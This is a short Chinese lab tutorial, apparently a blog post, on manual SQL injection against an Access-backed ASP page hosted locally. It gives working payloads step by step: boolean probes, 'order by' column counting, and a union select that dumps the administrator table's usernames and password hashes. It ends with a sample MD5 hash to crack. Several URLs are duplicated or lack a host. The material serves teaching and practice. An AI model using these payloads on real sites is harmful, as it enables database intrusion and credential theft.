ASSESS手工注入（附搭建教程）

ASSESS搭建

文章顶部有靶场搭建环境

1.将环境压缩包放入wwwroot更目录下

 2.进入网页访问自己IP就可以访问到自己搭建的靶场了  如下图所示 

 ASSESS手工注入

一.判断注入点

http://172.16.1.49/custom.asp?id=1 and 1=1http://172.16.1.49/custom.asp?id=1%20and%201=1

页面显示正常

http://172.16.1.49/custom.asp?id=1 and 1=2http://172.16.1.49/custom.asp?id=1%20and%201=2

页面报错

 二.判断当前数据库的字段文件...其到达5时页面置空，说明语句执行失败，当前数据库的字段仅有4列~

http://custom.asp?id=1 order by 4

http://custom.asp?id=1 order by 5http://custom.asp?id=1%20order%20by%205

 三.判断回显的字段及猜测表名称...在2与3位置可发现存在字段回显.

四.猜字段名 

http://custom.asp?id=1 union select 1,user_name,password,4 from administratorhttp://custom.asp?id=1%20union%20select%201,user_name,password,4%20from%20administrator

五.将获取到的密码解密21232f297a57a5a743894a0e4a801fc3